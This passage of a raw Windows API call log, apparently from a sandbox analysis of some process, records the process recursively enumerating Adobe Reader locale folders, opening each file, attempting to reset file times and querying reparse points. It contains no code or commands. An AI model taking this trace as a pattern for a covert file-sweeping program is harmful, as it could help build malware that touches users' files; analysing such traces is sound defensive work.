[0082.182] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82f5c380, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2400, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReadOutLoud.JPN", cAlternateFileName="")) returned 1 [0082.182] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7da1cfa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="reflow.JPN", cAlternateFileName="")) returned 1 [0082.182] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7da8f3c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3800, dwReserved0=0x0, dwReserved1=0x0, cFileName="SaveAsRTF.JPN", cAlternateFileName="")) returned 1 [0082.182] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82b31d00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4400, dwReserved0=0x0, dwReserved1=0x0, cFileName="Search.JPN", cAlternateFileName="")) returned 1 [0082.182] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82b31d00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3200, dwReserved0=0x0, dwReserved1=0x0, cFileName="SendMail.JPN", cAlternateFileName="")) returned 1 [0082.182] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f71060, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81fbd320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Services", cAlternateFileName="")) returned 1 [0082.182] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1282748 [0082.183] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ja_JP\\Services" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ja_jp\\services"), fInfoLevelId=0x0, lpFileInformation=0x119e8e0 | out: lpFileInformation=0x119e8e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f71060, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81fbd320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0082.183] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ja_JP\\Services" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ja_jp\\services"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x16c [0082.183] SetFileTime (hFile=0x16c, lpCreationTime=0x0, lpLastAccessTime=0x119e924, lpLastWriteTime=0x119e924) returned 0 [0082.183] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x1213ae8 [0082.183] DeviceIoControl (in: hDevice=0x16c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1213ae8, nOutBufferSize=0x4000, lpBytesReturned=0x119e97c, lpOverlapped=0x0 | out: lpOutBuffer=0x1213ae8, lpBytesReturned=0x119e97c, lpOverlapped=0x0) returned 0 [0082.184] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1213ae8) returned 1 [0082.184] NtClose (Handle=0x16c) returned 0x0 [0082.184] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1282748) returned 1 [0082.184] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.184] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.184] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1282748 [0082.185] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.185] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1282850 [0082.185] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ja_JP\\Services\\*", fInfoLevelId=0x1, lpFindFileData=0x119e72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e72c) returned 0x2e9100 [0082.185] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f71060, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81fbd320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0082.185] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa11a, dwReserved0=0x0, dwReserved1=0x0, cFileName="DEXShare.asfx", cAlternateFileName="")) returned 1 [0082.185] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.186] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.186] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.186] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.186] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.187] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1282958 [0082.187] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.187] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x125b3e8 [0082.187] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1282a60 [0082.188] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.188] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81f71060, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Services.asfx", cAlternateFileName="")) returned 1 [0082.188] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.188] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.188] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.188] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.188] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.188] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x125b408 [0082.189] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1282b68 [0082.189] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.189] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81f71060, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Services.asfx", cAlternateFileName="")) returned 0 [0082.189] GetLastError () returned 0x12 [0082.189] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ja_JP\\Services\\*", fInfoLevelId=0x1, lpFindFileData=0x119e72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e72c) returned 0x2e9040 [0082.189] FindClose (in: hFindFile=0x2e9100 | out: hFindFile=0x2e9100) returned 1 [0082.189] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f71060, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81fbd320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0082.189] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa11a, dwReserved0=0x0, dwReserved1=0x0, cFileName="DEXShare.asfx", cAlternateFileName="")) returned 1 [0082.189] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81f71060, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Services.asfx", cAlternateFileName="")) returned 1 [0082.189] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81f71060, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Services.asfx", cAlternateFileName="")) returned 0 [0082.189] GetLastError () returned 0x12 [0082.190] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1282850) returned 1 [0082.190] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0082.190] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1282958) returned 1 [0082.190] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1282748) returned 1 [0082.190] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ddd5200, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2200, dwReserved0=0x0, dwReserved1=0x0, cFileName="Spelling.JPN", cAlternateFileName="")) returned 1 [0082.190] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f4e4720, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2200, dwReserved0=0x0, dwReserved1=0x0, cFileName="updater.JPN", cAlternateFileName="")) returned 1 [0082.190] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82ae5a40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x5600, dwReserved0=0x0, dwReserved1=0x0, cFileName="Weblink.JPN", cAlternateFileName="")) returned 1 [0082.190] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82ae5a40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x5600, dwReserved0=0x0, dwReserved1=0x0, cFileName="Weblink.JPN", cAlternateFileName="")) returned 0 [0082.190] GetLastError () returned 0x12 [0082.190] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.190] FindClose (in: hFindFile=0x2e8f80 | out: hFindFile=0x2e8f80) returned 1 [0082.191] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x125ec28) returned 1 [0082.191] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0082.191] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d6d7160, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82ee9f60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82ee9f60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko_KR", cAlternateFileName="")) returned 1 [0082.191] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0082.191] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ko_KR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ko_kr"), fInfoLevelId=0x0, lpFileInformation=0x119eb98 | out: lpFileInformation=0x119eb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d6d7160, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82ee9f60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82ee9f60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0082.192] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ko_KR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ko_kr"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x174 [0082.192] SetFileTime (hFile=0x174, lpCreationTime=0x0, lpLastAccessTime=0x119ebdc, lpLastWriteTime=0x119ebdc) returned 0 [0082.192] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x1213ae8 [0082.192] DeviceIoControl (in: hDevice=0x174, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1213ae8, nOutBufferSize=0x4000, lpBytesReturned=0x119ec34, lpOverlapped=0x0 | out: lpOutBuffer=0x1213ae8, lpBytesReturned=0x119ec34, lpOverlapped=0x0) returned 0 [0082.193] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1213ae8) returned 1 [0082.193] NtClose (Handle=0x174) returned 0x0 [0082.193] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0082.193] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0082.193] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.193] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.194] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ko_KR\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e8f80 [0082.198] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d6d7160, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82ee9f60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82ee9f60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0082.198] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d9aab80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x7e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="accessibility.KOR", cAlternateFileName="")) returned 1 [0082.198] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.198] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.198] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.199] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.199] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.199] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x125ec28 [0082.199] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.199] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x125b428 [0082.199] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1282748 [0082.200] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.200] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82bf03e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x48c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Acroform.KOR", cAlternateFileName="")) returned 1 [0082.200] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.200] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.200] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.200] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.200] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.201] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x125b448 [0082.201] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1282958 [0082.201] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.201] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x801d5ec0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdobeCollabSync.KOR", cAlternateFileName="")) returned 1 [0082.201] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.202] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.202] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.202] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.202] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.202] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x125b468 [0082.202] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1282850 [0082.203] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.203] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82db9460, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x56c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Annots.KOR", cAlternateFileName="")) returned 1 [0082.203] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.203] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.203] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.203] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.204] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.204] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x125b488 [0082.204] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1282c70 [0082.204] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.204] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8207ba00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2400, dwReserved0=0x0, dwReserved1=0x0, cFileName="BRdlang32.KOR", cAlternateFileName="")) returned 1 [0082.204] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.205] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.205] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.205] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.205] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.205] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x125b4a8 [0082.205] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1282d78 [0082.206] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.206] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82c16540, ftLastAccessTime.dwHighDateTime=0x1d2dda0, 